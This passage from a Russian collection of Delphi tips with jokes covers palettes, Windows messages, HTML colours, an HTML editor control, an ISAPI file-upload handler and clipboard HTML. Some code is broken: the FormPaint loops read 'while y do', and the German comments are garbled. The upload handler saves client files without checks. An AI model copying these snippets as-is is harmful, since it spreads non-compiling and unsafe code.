  if csDesigning in ComponentState then
  begin
    OldStyle := Canvas.Pen.Style;
    Canvas.Pen.Style := psDash;
    Canvas.Rectangle(HotSpot.Left, HotSpot.Top, HotSpot.Right, HotSpot.Bottom);
    Canvas.Pen.Style := OldStyle;
  end;
end;
procedure TNewPanel.SetHotSpotTop(Value: Word);
begin
  fHotSpot.Bottom := fHotSpot.Bottom + Value - fHotSpot.Top;
  fHotSpot.Top := Value;
  Paint;
end;
procedure TNewPanel.SetHotSpotLeft(Value: Word);
begin
  fHotSpot.Right := fHotSpot.Right + Value - fHotSpot.Left;
  fHotSpot.Left := Value;
  Paint;
end;
procedure TNewPanel.SetHotSpotWidth(Value: Word);
begin
  fHotSpot.Right := fHotSpot.Left + Value;
  Paint;
end;
procedure TNewPanel.SetHotSpotHeight(Value: Word);
begin
  fHotSpot.Bottom := fHotSpot.Top + Value;
  Paint;
end;
function TNewPanel.GetHotSpotTop: Word;
begin
  Result := fHotSpot.Top
end;
function TNewPanel.GetHotSpotLeft: Word;
begin
  Result := fHotSpot.Left;
end;
function TNewPanel.GetHotSpotWidth: Word;
begin
  Result := fHotSpot.Right - fHotSpot.Left;
end;
function TNewPanel.GetHotSpotHeight: Word;
begin
  Result := fHotSpot.Bottom - fHotSpot.Top;
end;
end.

Создание собственных горячих клавиш.

Сидят 2 программиста, выпучившись в мониторы. В окно влетает зеленая жирная муха и садится к одному из них на экран. Тот лихорадочно начинает кликать мышкой. Муха не реагирует. Второй вскакивает раскручивая на ходу свою мышку бьет первого. Первый выходит из торча: "Прикинь, Вить, первый раз глюк убрал просто del!" Второй, замерев, всматривается в экран: - Да, Миш, тебе бы переинсталить...
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
  if (ssCtrl in Shift) and (chr(Key) in ['A', 'a']) then
    ShowMessage('Ctrl-A');
end;

Как повесить винду.

Статьи по Delphi (009)…

Автор: Nomadic
Если бы на станции "МИР" стояли бы "Винды", она до сих пор бы висела.
uses TLHelp32;
const
  PROCESS_TERMINATE = $0001;
var
  FSnapshotHandle: THandle;
  FProcessEntry32: TProcessEntry32;
  ContinueLoop: BOOL;
begin
  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
  while integer(ContinueLoop) <> 0 do
  begin
    if LowerCase(ExtractFileName(
      (FProcessEntry32.szExeFile))) = 'kernel32.dll' then
      if not (TerminateProcess(
        OpenProcess(PROCESS_TERMINATE, BOOL(0),
        FProcessEntry32.th32ProcessID), 0)) then
        MessageBoxEx(Application.Handle,
          'Can`t kill windows kernel...',
          'Warning', MB_ICONWarning + MB_OK, $0419);
    ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
  end;
  CloseHandle(FSnapshotHandle);
end;

Как долго запущена Windows.

Статьи по Delphi (009)…
- Э, простите, а сколько занимает виндовс? - Сколько находит - столько и занимает...
procedure TForm1.Button1Click(Sender: TObject);
var
  ndays: double;
  ticks: LongInt;
  btime: TDateTime;
begin
  {Функция GetTickCount получает количество миллисекунд,
  прошедших с момента старта Windows}
  ticks := GetTickCount;
  {Чтобы получить дни, необходимо разделить на количество
  миллисекунд в дне, 24*60*60*1000=86400000}
  ndays := ticks/86400000;
  {теперь вычитаем из текущей даты полученное количество
  дней работы Windows}
  bTime := now-ndays;
  {показываем диалоговое окошко с сообщением}
  ShowMessage(
  FormatDateTime('"Windows started on" dddd, mmmm d, yyyy, ' +
  '"at" hh:nn:ss AM/PM', bTime) + #10#13 +
  'Its been up for ' + IntToStr(Trunc(nDays)) + ' days,' +
  FormatDateTime(' h "hours," n "minutes," s "seconds"',ndays));
end;

Как узнать количество бит в цветовой палитре.

Статьи по Delphi (009)…
Просыпаются утром парень с девушкой, грустный серый осенний день. подходят к окну. Девушка: - Какой сегодня серый день... Парень: - Палитра слетела...
function GetDisplayColors: integer;
var
  tHDC: hdc;
begin
  tHDC := GetDC(0);
  result := GetDeviceCaps(tHDC, 12) * GetDeviceCaps(tHDC, 14);
  ReleaseDC(0, tHDC);
end;

Как узнать количество бит в цветовой палитре 2.

1 shl GetDeviceCaps( Canvas.Handle, BITSPIXEL )

Как обрабатывать сообщения.

Обработка сообщений означает, что приложение будет тем или иным образом реагировать на полученные от операционной системы сообщения. В стандартном приложении Windows обработка сообщений сосредотачивается в процедурах окна. Delphi, частично обрабатывая сообщения, упрощает работу программиста, позволяя вместо одной процедуры для обработки всех типов сообщений создавать независимые процедуры для обработки сообщений различных типов.

Все процедуры обработки сообщений должны отвечать следующим требованиям:

Процедура должна быть методом объекта Процедуре должен передаваться один передаваемый по ссылке параметр, т.е. с помощью описания var. Тип параметра должен быть TMessage или другой, зависящий от типа специализированного сообщения Описание процедуры должно включать ключевое слово message, за которым должна следовать константа, задающая тип обрабатываемого сообщения

Вот пример объявления процедуры, обрабатывающей сообщение WM_Paint.

procedure WMPaint(var Msg: TWMPaint); message wm_Paint;

[соглашение по присвоению имён требует присваивать обработчику сообщения то же имя, что и имя обрабатываемого сообщения, но без символа подчёркивания и указанием первым знаков имени прописными буквами].

В качестве примера напишем процедуру обработки сообщения WM_Paint, которая вместо перерисовки будет выдавать звуковой сигнал:

Для этого сначала нужно объявить процедуру в частных объявлениях (в области Private объекта TForm1):

procedure WMPaint(var Msg: TWMPaint); message wm_Paint;

Теперь в разделе implementation модуля добавляем определение процедуры (в этом случае указание ключевого слова message не требуется):

procedure TForm1.WMPaint(var Msg: TWMPaint);
begin
  beep;
  inherited;
end;

Обратите внимание на ключевое слово inherited, которое позволяет передать сообщение обработчику этого сообщения, принадлежащему классу-предку, т.е. если бы мы в нашем случае не указали бы это слово, перерисовка окна не осуществлялась бы, а выполнялось бы только только то, что было описано в области реализации нашего приложения, т.е. только бы подавался звуковой сигнал.

Как использовать ChartFX.

В Microsoft обнаружен подкидыш. Слухов ходит огромное количество. Некоторые намекают на то, что Билл Гейтс - отец ребенка. Это побуждает Microsoft (МD) выступить с официальным заявлением: - Во-первых, сотрудник MD не может быть отцом ребенка. - Во-вторых, в MD ничего никогда не изготавливалось за такой короткий срок. - В-третьих, в MD никогда не производилось ничего такого, что с самого начала имело бы все самое необходимое для жизни.
unit Chart;
...
with ChartFX do
begin
  Visible := false;
  { Устанавливаем режим ввода значений }
  { 1 - количество серий (в нашем случае 1), 3 - количество значений }
  OpenData [COD_VALUES] := MakeLong (1,3);
  { Номер текущей серии }
  ThisSerie := 0;
  { Value [i] - значение с индексом i }
  { Legend [i] - комментарий к этому значению }
  Value [0] := a;
  Legend [0] := 'Значение переменной A';
  Value [1] := b;
  Legend [1] := 'Значение переменной B';
  Value [2] := c;
  Legend [2] := 'Значение переменной C';
  { Закрываем режим }
  CloseData [COD_VALUES] := 0;
  { Ширина поля с комментариями на экране (в пикселах) }
  LegendWidth := 150;
  Visible := true;
end;

Как работать с палитрой в Delphi.

Статьи по Delphi (009)…

Старый анекдот на новый лад: - Что такое тугодум? - Это игра Doom II, запущенная на 386-м компьютере. - Ага, или Doom III практически на любом...

Палитра в TBitmap и TMetaFile доступна через property Palette. Если палитра имеется (что совсем необязательно), то Palette<>0:

procedure TMain.BitBtnClick(Sender: TObject);
var
  Palette : HPalette;
  PaletteSize : Integer;
  LogSize: Integer;
  LogPalette: PLogPalette;
  Red : Byte;
begin
  Palette := Image.Picture.Bitmap.ReleasePalette;
  // здесь можно использовать просто Image.Picture.Bitmap.Palette, но я не
  // знаю, удаляются ли ненужные палитры автоматически
  if Palette=0 then //Палитра отсутствует
    exit;
  PaletteSize := 0;
  if GetObject(Palette, SizeOf(PaletteSize), @PaletteSize) = 0 then
    Exit;
  // Количество элементов в палитре = paletteSize
  if PaletteSize = 0 then // палитра пустая
    Exit;
  // определение размера палитры
  LogSize := SizeOf(TLogPalette) + (PaletteSize - 1) * SizeOf(TPaletteEntry);
  GetMem(LogPalette, LogSize);
  try
    // заполнение полей логической палитры
    with LogPalette^ do
    begin
      palVersion := $0300; palNumEntries := PaletteSize;
      GetPaletteEntries(Palette, 0, PaletteSize, palPalEntry);
      // делаете что нужно с палитрой, например:
      Red := palPalEntry[PaletteSize-1].peRed;
      Edit1.Text := 'Красная составляющего последнего элемента палитры ='+IntToStr(Red);
      palPalEntry[PaletteSize-1].peRed := 0;
    end;
    // завершение работы
    Image.Picture.Bitmap.Palette := CreatePalette(LogPalette^);
  finally
    FreeMem(LogPalette, LogSize);
    // я должен позаботиться сам об удалении Released Palette
    DeleteObject(Palette);
  end;
end;
{ Этот модуль заполняет фон формы рисунком bor6.bmp (256 цветов)
и меняет его палитру при нажатии кнопки }
unit bmpformu;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, StdCtrls;
type
  TBmpForm = class(TForm)
    Button1: TButton;
    procedure FormDestroy(Sender: TObject);
    procedure FormPaint(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    Bitmap: TBitmap;
    procedure ScrambleBitmap;
    procedure WMEraseBkgnd(var m: TWMEraseBkgnd); message WM_ERASEBKGND;
end;
var
  BmpForm: TBmpForm;
implementation
{$R *.DFM}
procedure TBmpForm.FormCreate(Sender: TObject);
begin
  Bitmap := TBitmap.Create;
  Bitmap.LoadFromFile('bor6.bmp');
end;
procedure TBmpForm.FormDestroy(Sender: TObject);
begin
  Bitmap.Free;
end;
// since we're going to be painting the whole form, handling this
// message will suppress the uneccessary repainting of the background
// which can result in flicker.
procedure TBmpform.WMEraseBkgnd(var m : TWMEraseBkgnd);
begin
  m.Result := LRESULT(False);
end;
procedure TBmpForm.FormPaint(Sender: TObject);
var
  x, y: Integer;
begin
  y := 0;
  while y do
  begin
    x := 0;
    while x do
    begin
      Canvas.Draw(x, y, Bitmap);
      x := x + Bitmap.Width;
    end;
    y := y + Bitmap.Height;
  end;
end;
procedure TBmpForm.Button1Click(Sender: TObject);
begin
  ScrambleBitmap;
  Invalidate;
end;
// scrambling the bitmap is easy when it's has 256 colors:
// we just need to change each of the color in the palette
// to some other value.
procedure TBmpForm.ScrambleBitmap;
var
  pal: PLogPalette;
  hpal: HPALETTE;
  i: Integer;
begin
  pal := nil;
  try
    GetMem(pal, sizeof(TLogPalette) + sizeof(TPaletteEntry) * 255);
    pal.palVersion := $300;
    pal.palNumEntries := 256;
    for i := 0 to 255 do
    begin
      pal.palPalEntry[i].peRed := Random(255);
      pal.palPalEntry[i].peGreen := Random(255);
      pal.palPalEntry[i].peBlue := Random(255);
    end;
    hpal := CreatePalette(pal^);
    if hpal <> 0 then
      Bitmap.Palette := hpal;
  finally
    FreeMem(pal);
  end;
end;
end.

Показать код HTML страницы в TMemo.

- Вы слышали, вышел отечественный браузер? Называется "Иван Сусанин" - до сих пор никто выйти не может.
// You need a TMemo, a TButton und a NMHTTP
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  NMHTTP1.Get('www.swissdelphicenter.ch'); 
  memo1.Text := NMHTTP1.Body 
end;

Как получить цвет строки в HTML формате.

Вебмастер сдает на права, заполняет бланк: Рост: 175 Вес: 80 Цвет глаз: #44AAFF

Если Вам необходимо создать HTML-файл, то необходимо объявить тэг для цвета шрифта либо цвета фона. Однако просто вставить значение TColor не получится - необходимо преобразовать цвет в формат RGB. В своём наборе SMExport я использую следующую функцию:

function GetHTMLColor(cl: TColor; IsBackColor: Boolean): string;
var
  rgbColor: TColorRef;
begin
  if IsBackColor then
    Result := 'bg'
  else
    Result := '';
  rgbColor := ColorToRGB(cl);
  Result := Result + 'color="#' +
  Format('%.2x%.2x%.2x',
  [GetRValue(rgbColor),
  GetGValue(rgbColor),
  GetBValue(rgbColor)]) + '"';
end;

Как преобразовать шестнадцатиричный цвет HTML в TColor.

Стоит взвод молодых бойцов. Старшина: - По порядку номеров рассчитайсь!!! Солдат-программист: - Можно вопрос ? - Можно... - А в какой системе? Десятичной? Шестнадцатеричной? - Для дураков объясняю, в десятичной!!! - Понял! Нулевой!!!
unit colours;
interface
uses
  Windows, Sysutils, Graphics;
  function ConvertHtmlHexToTColor(Color: string):TColor ;
  function CheckHexForHash(col: string):string ;
implementation
function ConvertHtmlHexToTColor(Color: string):TColor ;
var
  rColor: TColor;
begin
  Color := CheckHexForHash(Color);
  if (length(color) >= 6) then
  begin
    {незабудьте, что TColor это bgr, а не rgb: поэтому необходимо изменить порядок}
    color := '$00' + copy(color,5,2) + copy(color,3,2) + copy(color,1,2);
    rColor := StrToInt(color);
  end;
  result := rColor;
end;
// Просто проверяет первый сивол строки на наличие '#' и удаляет его, если он найден
function CheckHexForHash(col: string):string ;
begin
  if col[1] = '#' then
    col := StringReplace(col,'#','',[rfReplaceAll]);
  result := col;
end;
end.

HTMLEditor - Краткий обзор.

Автор: Алексей Румянцев Вступление - загрузка информации. Часто в своих проектах, там, где нужно дать возможность пользователю редактировать текст, выделять различными шрифтами (стилями, цветами...) отдельные слова и в других подобных случаях, мы используем, чаще всего, TRichEdit. Всем он нравится как редактор?, хорош и удобен он в работе? На эти вопросы каждый ответит по своему, но в принципе, худо-бедно, пользоваться им можно. Можно потому что не видно другой альтернативы. Вернее она есть, и на много удобнее и продвинутее чем Riсh'формат - это Нtml'формат, но он не доступен для визуального редактирования - т.е. для него нет редактора, поддерживающего стили, картинки, таблицы( )., вот и получается что оно как бы есть, но его как бы нет. А если бы был (здесь можно помечтать, что с помощью такого редактора можно было бы сделать)? А.если нечто подобное есть, а вы об этом не знаете (здесь можно состроить гримасу удивления и задаться вопросом "зачем такое делать и никому об этом не говорить?")? Короче, альтернатива Riсh'формату есть это Html, теперь давайте попробуем найти для него редактор. Но чтобы что-то искать, надо, как минимум, знать что это что-то есть. Когда же я стал искать, то я еще не знал о существовании такого редактора, да вобщем-то и искал не его и обнаружение его - это побочный эффект любопытства. Куда ты завел нас...?

Что и зачем я искал вам не интересно, а вот что и где я нашел мы сейчас узнаем.

Запускаем один экземпляр Delphi (у меня 5-ая версия). В меню-баре выбираем пункт "Component", затем "Import ActiveX Control". В появившемся окне, в списке зарегестрированных ActiveX Соntrоl'ов находим строку "DHTML Edit Control..." и выделяем ее (я не обещаю что у всех она будет, но если вдруг не будет попробуйте нажать кнопку "Add" и найти файл "C:\Program Files\Common Files\Microsoft Shared\Triedit\DHTMLED.OCX").. Результат должен быть примерно следующий:

Статьи по Delphi (009)…

Нажимаем кнопку "Install". В следующем окне выбираем вкладку "Into new package". Выбираем путь куда будет установлен наш ActiveX package и имя для него.

Статьи по Delphi (009)…

Далее жмем "Ok". После долгого раздумья появится окно, в котором нажмите "Compile".

Статьи по Delphi (009)…

После чего в выскочившем сообщении нажмите "Ok". Закройте все с сохранением вашей новой библиотеки.

А теперь в два приема создаем проект и тестируем то что получилось.

Создаем новый проект находим палитру компонент "ActiveX", где видим две новые иконки выбираем ту что называется "DHTMLEdit" бросаем ее на форму устанавливаем Align := alClient запускаем проект выделяем текст на странице которую вы сейчас читаете (Ctrl+A) и копируем с нее текст (Ctrl+C) переходим в наш проект ставим в поле курсор (щелкните мышью по полю) нажимаем "Ctrl+V" смотрим и удивляемся. Текст можно редактировать, выделять, подсвечивать (Ctrl+B, Ctrl+I, Ctrl+U), искать (Ctrl+F), и даже кажется печатать(Ctrl+P) (не уверен так как у меня нет принтера). А что дальше? А вот в этом-то вся шутка юмора и заключается... А я не знаю что дальше, точнее как програмно работать с ним - выделять, вставлять рисунки, рисовать таблицы и т.д. Судя по тому что все это он может отображать, он должен и уметь все это создавать, но с разбегу у меня не получилось разобраться. Поэтому, заинтересовавшийся народ, вот вам ребус - работа с html-едитором, взаимодействие его с программой и с пользователем - все это теперь ваша забота, а мы будем ждать появления на страницах "Королевства" от вас статей на этот счет, а я, пардон, отойду в сторону - у меня другие интересы и задачи, я лишь посчитал своим долгом познакомить вас со своей находкой. Единственное только знаю, что его можно использовать и как html-editor, и как html-viewer. Заключение

Это полностью моя статья, ни на что не претендующая, ни с кого не требующая, ни от куда не списанная (даже упоминаний о DНТМLЕdit'оре не где не слышал). Описанный контрол, технической поддержке со стороны автора статьи не подлежит, даже ответов на вопросы по нему не предусматривается. Все. Удачи. Всем пока.

Компонента HTML - редактора.

Автор: Nomadic

Если у тебя стоит MS Internet Explorer 5, то считай, редактор у тебя в кармане ;-) Дело в том, что вместе с эксплорером идет DHTML -- ActiveX контрол, представляющий собой редактор HTML-ок, покруче, чем FrontPage Express даже, т.к. держит даже стили (.css). Лежит в C:\Program Files\Common Files\Microsoft Shared\Triedit. В Дельфи устанавливается через меню Components|Import ActiveX Control. При распространении своей программы с этим компонентом не забудь, что помимо копирования на машину клиента всех файлов из приведенного выше каталога нужно, чтоб они зарегистрированы были (regsvr32 имяфайла).

Закачать файл на WEB-сервер с помощью HTML.

Оригинал статьи: Delphi Web Development На этой страничке вы узнаете как закачать файл на веб-сервер, используя HTML. Перед тем как приступить к разработке, желательно ознакомиться с RFC1867: Form-based File Upload in HTML, в котором описаны форматы передачи файлов в HTML. Клиент Чтобы закачать файл на сервер, Вам нужно использовать тэг FORM. Для передачи данных формы, обязательно, используется метод POST и устанавливается MIME media type: multipart/form-data. Вы должны установить в тэг FORM атрибут ENCTYPE равным multipart/form-data, и в форму добавить элемент INPUT типа file.

Например, давайте создадим следующий HTML файл, назовем его upload.htm и положим его в корневой директорий веб сервера.

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>DWD File Upload</title>
</head>
<body>
<form method="POST" action="/scripts/upload.dll" enctype="multipart/form-data">
<p><input type="checkbox" name="checkbox" value="ON">CheckBox Test
<p>RadioBox Test:
  <input type="radio" value="ON" checked name="radiobox">ON
  <input type="radio" value="OFF" name="radiobox">OFF
<p>TextBox Test:
  <input type="text" name="text" size="20">
<p>File2 Test:
  <input type="file" name="myfile1" size="20">
<p>File2 Test:
  <input type="file" name="myfile2" size="20">
<p>File2 Test:
  <input type="file" name="myfile3" size="20">
<p>
  <input type="submit" value="Submit">
  <input type="reset" value="Reset" name="B2">
</form>
</body>
</html>
Пример 1 Итак, мы создали форму которая содержит элементы checkbox, radio, text и три(!) элемента file. Загрузите этот файл браузером, например, набирите http://localhost/upload.htm. Если, нажав кноку Browse на форме, выбрать файл 1: C:\\image.gif, файл 2: C:\\test.exe, файл 3: C:\\text.txt и нажать кнопку Submit, в соответствии с RFC1867 браузер должен сформировать и передать в заголовке HTTP поле ContentType: multipart/form-data; boundary=--7d015813802c4

И примерно следующий контент:

----7d015813802c4
Content-Disposition: form-data; name="checkbox"
ON
----7d015813802c4
Content-Disposition: form-data; name="radiobox"
ON
----7d015813802c4
Content-Disposition: form-data; name="text"
...текст из элемента текст...
----7d015813802c4
Content-Disposition: form-data; name="myfile1"; filename="C:\\image.gif"
Content-Type: image/gif
...содержимое файла 1...
----7d015813802c4
Content-Disposition: form-data; name="myfile2"; filename="C:\\test.exe"
Content-Type: application/octet-stream
...содержимое файла 2...
----7d015813802c4
Content-Disposition: form-data; name="myfile3"; filename="C:\\text.txt"
Content-Type: text/plain
...содержимое файла 3...
----7d015813802c4--
Пример 2 Где boundary (граница) - разделитель полей. Сервер На стороне сервера, для приема данных, мы будем использовать ISAPI приложение, которое сейчас и создадим. Запускаем Delphi, создаем с помощью Delphi IDE новый проект (мы создали ISAPI DLL, вы можете создать как ISAPI, так и CGI) и создаем обработчик WebActionItem. Установим его свойство Default равным True.

Приступим к написанию кода. Создадим обработчик события OnAction, для созданного WebActionItem. Прежде всего нужно быть уверенным, что принимаемые данные действительно имеют ContentType: multipart/form-data:

procedure TWebModule1.WebModule1WebActionItem1Action(Sender: TObject;
  Request: TWebRequest; Response: TWebResponse; var Handled: Boolean);
begin
  if (Pos('multipart/form-data', LowerCase(Request.ContentType)) > 0) and
    (Pos('boundary', LowerCase(Request.ContentType)) > 0) then
  begin
    ...
  end
  else
    Response.Content := 'Content-type is not "multipart/form-data".';
end;
Пример 3

Определим boundary, для этого воспользуемся функцией ExtractHeaderFields:

...
var
  Boundary: string;
  Header: TStrings;
begin
  ...
  Header := TStringList.Create;
  try
    ExtractHeaderFields([';'], [' '], PChar(Request.ContentType), Header,
      False, False);
    Boundary := Header.Values['boundary'];
  finally
    Header.Free;
  end;
  ...
Пример 4

Для того, чтобы прочитать переданные клиентом данные, нужно прочитать свойство Content объекта Request. Следует сказать, что Request.Content не обязательно должен содержать все данные т.к. размер свойства Content ограничен, особенно актуально это для передачи файлов большого размера. Для того чтобы прочитать следующую порцию данных, используйте метод ReadClient объекта Request. Метод ReadClient читает данные в буфер. В качесте буфера используем PChar. Определить размер данных, которые необходимо считать можно так:

AllContent := Request.Content;
ByteToRead := Request.ContentLength - Length(AllContent);

Далее следует зарезервировать память для буфера, для того чтобы экономнее расходовать память, ограничим максимальный размер буфера константой MaxReadBlockSize. Определим весь поток данных, переданный клиентом:

const
  MaxReadBlockSize = 8192;
...
var
  Boundary, BufferStr, AllContent: string;
  Header: TStrings;
  ByteToRead, ReadedBytes, RSize: Integer;
  Buffer: PChar;
begin
  ...
  AllContent := Request.Content;
  ByteToRead := Request.ContentLength - Length(AllContent);
  try
    while ByteToRead > 0 do
    begin
      RSize := MaxReadBlockSize;
      if RSize > ByteToRead then
        RSize := ByteToRead;
      GetMem(Buffer, RSize);
      try
        ReadedBytes := Request.ReadClient(Buffer^, RSize);
        SetString(BufferStr, Buffer, ReadedBytes);
        AllContent := AllContent + BufferStr;
      finally
        FreeMem(Buffer, RSize);
      end;
      ByteToRead := Request.ContentLength - Length(AllContent);
    end;
    // и возвратим клиенту справочную информацию
    Response.Content := Response.Content + Format('ContentType = %s<br>' +
      'ContentLength = %d<br>Readed Bytes = %d<br>Boundary = %s<hr>',
      [Request.ContentType, Request.ContentLength, Length(AllContent),
      boundary]);
    ...
  except
    on E: Exception do
      Response.Content := Response.Content + '<p>' + E.Message;
  end;
  ...
Пример 5 Итог: мы прочитали весь переданный контент и присвоили его переменной AllContent, а также узнали разделитель Boundary.

Следующим этапом необходимо полученный контент разобрать по частям. Для этого напишем функцию.

ReadMultipartRequest(const Boundary: string;
  ARequest: string; var AHeader: TStrings; var Data: string): string;

Которая будет запрашивать разделитель Boundary и AllContent, и возвращать поля заголовка в AHeader и содержимое поля в Data. Результатом выполнения функции будет передан AllContent без первого поля формы. Например, после первой обработки данных, показанных в Примере 2, результат возвращаемый функцией будет:

----7d015813802c4
Content-Disposition: form-data; name="radiobox"
ON
----7d015813802c4
Content-Disposition: form-data; name="text"
...текст из элемента текст...
----7d015813802c4
Content-Disposition: form-data; name="myfile1"; filename="C:\\image.gif"
Content-Type: image/gif
...содержимое файла 1...
----7d015813802c4
Content-Disposition: form-data; name="myfile2"; filename="C:\\test.exe"
Content-Type: application/octet-stream
...содержимое файла 2...
----7d015813802c4
Content-Disposition: form-data; name="myfile3"; filename="C:\\text.txt"
Content-Type: text/plain
...содержимое файла 3...
----7d015813802c4--
Пример 6

Объект AHeader будет содержать:

Content-Disposition=form-data; name="checkbox" 
а переменная Data = 'ON'.

После четвертой обработки будет:

----7d015813802c4
Content-Disposition: form-data; name="myfile2"; filename="C:\\test.exe"
Content-Type: application/octet-stream
...содержимое файла 2...
----7d015813802c4
Content-Disposition: form-data; name="myfile3"; filename="C:\\text.txt"
Content-Type: text/plain
...содержимое файла 3...
----7d015813802c4--
Пример 7

Объект AHeader будет содержать:

Content-Disposition=form-data; name="myfile1"; filename="C:\\image.gif"
Content-Type=image/gif 
а переменная Data = ...содержимое файла 1....

Код функции приведен в Примере 8:

function TWebModule1.ReadMultipartRequest(const Boundary: string;
  ARequest: string; var AHeader: TStrings; var Data: string): string;
var
  Req, RHead: string;
  i: Integer;
begin
  Result := '';
  AHeader.Clear;
  Data := '';
  if (Pos(Boundary, ARequest) < Pos (Boundary + '--', ARequest))
    and (Pos(Boundary, ARequest) = 1) then
  begin
    Delete(ARequest, 1, Length(Boundary) + 2);
    Req := Copy(ARequest, 1, Pos(Boundary, ARequest) - 3);
    Delete(ARequest, 1, Length(Req) + 2);
    RHead := Copy(Req, 1, Pos(#13#10#13#10,Req)-1);
   Delete(Req, 1, Length(RHead) + 4);
    AHeader.Text := RHead;
    for i := 0 to AHeader.Count - 1 do
      if Pos(':', AHeader.Strings[i]) > 0 then
        AHeader.Strings[i] := Trim(Copy(AHeader.Strings[i], 1,
          Pos(':', AHeader.Strings[i])-1)) + '=' + Trim(Copy(AHeader.Strings[i],
          Pos(':', AHeader.Strings[i])+1, Length(AHeader.Strings[i]) -
          Pos(':', AHeader.Strings[i])));
    Data := Req;
    Result := ARequest;
  end
end;
Пример 8 Теперь осталось только вызвать данную процедуру в цикле и сохранить данные на диск.

Определим константу UploadPath, которая будет содержать путь к папке, в которую будем сохранять принятые файлы.

const
  UploadPath = 'C:\\temp\\upload\\';
...
var
  AllContent, Boundary, Data: string;
  Header, HList: TStrings;
  OutStream: TFileStream;
begin
  ...
  if Request.ContentLength = Length(AllContent) then
    while Length(AllContent) > Length('--' + Boundary + '--' + #13#10)do
   begin
      Header := TStringList.Create;
      HList := TStringList.Create;
      try
        AllContent := ReadMultipartRequest('--' + Boundary, AllContent,
          Header, Data);
        ExtractHeaderFields([';'], [' '],
         PChar(Header.Values['Content-Disposition']), HList, False, True);
        if (Header.Values['Content-Type'] <> '') and (Data <> '') then
        begin
          OutStream:=TFileStream.Create(UploadPath +
            ExtractFileName(HList.Values['filename']), fmCreate);
          try
            try
              OutStream.WriteBuffer(Pointer(Data)^, Length(Data));
              Response.Content := Response.Content +
                Format('<p>File <b>%s</b> saved.',
                [ExtractFileName(HList.Values['filename'])]);
            except
              Response.Content := Response.Content +
                Format('<p>Unable to save file <b>%s</b>.', [UploadPath +
                ExtractFileName(HList.Values['filename'])]);
            end;
          finally
            OutStream.Free;
          end
        end
        else
          Response.Content := Response.Content + Format('<p>Field <b>%s</b> = %s',
            [HList.Values['name'], Data]);
      finally
        Header.Free;
        HList.Free;
      end;
    end;
    ...
Пример 9

В результате выполнения данного блока программы, поля, которые содержат файл, будут сохранены на диск в папку заданную константой UploadPath, а поля, не содержащие файл будут показаны в результате выполнения скрипта, имя поля и значение будут переданы клиенту.

Как сохранить веб страничку в Bitmap.

Автор: John
Сантехник ковыряется в унитазе. Прочищает засор типа... Вдруг замечает, что за ним наблюдает мальчик. - Что мальчик, неприятно? Это тебе, панимашшь, не в Интернете копаться...
procedure TForm1.Button1Click(Sender: TObject);
var
  ViewObject: IViewObject;
  sourceDrawRect: TRect;
begin
  if EmbeddedWB1.Document <> nil then
  try
    EmbeddedWB1.Document.QueryInterface(IViewObject, ViewObject);
    if ViewObject <> nil then
      try
        sourceDrawRect := Rect(0, 0, Image1.Width, Image1.Height);
        ViewObject.Draw(DVASPECT_CONTENT, 1, nil, nil, Self.Handle,
          image1.Canvas.Handle, @sourceDrawRect, nil, nil, 0);
      finally
        ViewObject._Release;
      end;
  except
  end;
end;

Скопировать HTML-код в буфер обмена.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{ 
  If you've ever tried sticking html into the clipboard using the usual CF_TEXT 
  format then you might have been disappointed to discover that wysiwyg html 
  editors paste your offering as if it were just text, 
  rather than recognising it as html. For that you need the CF_HTML format. 
  CF_HTML is entirely text format and uses the transformation format UTF-8. 
  It includes a description, a context, and within the context, the fragment. 
  As you may know one can place multiple items of data onto the clipboard for 
  a single clipboard entry, which means that the same data can be pasted in a 
  variety of different formats in order to cope with target 
  applications of varying sophistocation. 
  The following example shows how to stick CF_TEXT (and CF_HTML) 
  into the clipboard. 
}
 { 
  Vielleicht hast du schon mal probiert, HTML-formatierter Text in die 
  Zwischenablage zu kopieren mit dem gеwцhn1iсhеn CF_TEXT Format. 
  Wenn man dann z.B in Word (Bearbeiten, Inhalte Еinfьgеn) аиswдh1t, 
  gibt's das HTML Format aber nicht zur Auswahl. 
  Lцsиng: Mit RegisterClipboardFormat das Format CF_HTML registrieren, 
  dann einen String so formatieren, wie es auf der Microsoft Seite beschrieben 
  ist (Siehe Link unten) und ihn dann mit der SetClipboardData API in 
  die Zwischenablage kopieren. 
  Das folgende Beispiel zeigt, wie man zwei verschiedene Formate (Text und HTML) 
  in die Zwischenablage еinfьgеn kann. 
}
 function FormatHTMLClipboardHeader(HTMLText: string): string;
 const
   CrLf = #13#10;
begin
  Result := 'Version:0.9' + CrLf;
   Result := Result + 'StartHTML:-1' + CrLf;
   Result := Result + 'EndHTML:-1' + CrLf;
   Result := Result + 'StartFragment:000081' + CrLf;
   Result := Result + 'EndFragment:°°°°°°' + CrLf;
   Result := Result + HTMLText + CrLf;
   Result := StringReplace(Result, '°°°°°°', Format('%.6d', [Length(Result)]), []);
 end;
 //The second parameter is optional and is put into the clipboard as CF_HTML. 
//Function can be used standalone or in conjunction with the VCL clipboard so long as 
//you use the USEVCLCLIPBOARD conditional define 
//($define USEVCLCLIPBOARD} 
//(and clipboard.open, clipboard.close). 
//Code from http://www.lorriman.com 
procedure CopyHTMLToClipBoard(const str: string; const htmlStr: string = '');
 var
   gMem: HGLOBAL;
   lp: PChar;
   Strings: array[0..1] of string;
   Formats: array[0..1] of UINT;
   i: Integer;
 begin
   gMem := 0;
   {$IFNDEF USEVCLCLIPBOARD}
   Win32Check(OpenClipBoard(0));
   {$ENDIF}
   try
     //most descriptive first as per api docs 
    Strings[0] := FormatHTMLClipboardHeader(htmlStr);
     Strings[1] := str;
     Formats[0] := RegisterClipboardFormat('HTML Format');
     Formats[1] := CF_TEXT;
     {$IFNDEF USEVCLCLIPBOARD}
     Win32Check(EmptyClipBoard);
     {$ENDIF}
     for i := 0 to High(Strings) do
     begin
       if Strings[i] = '' then Continue;
       //an extra "1" for the null terminator 
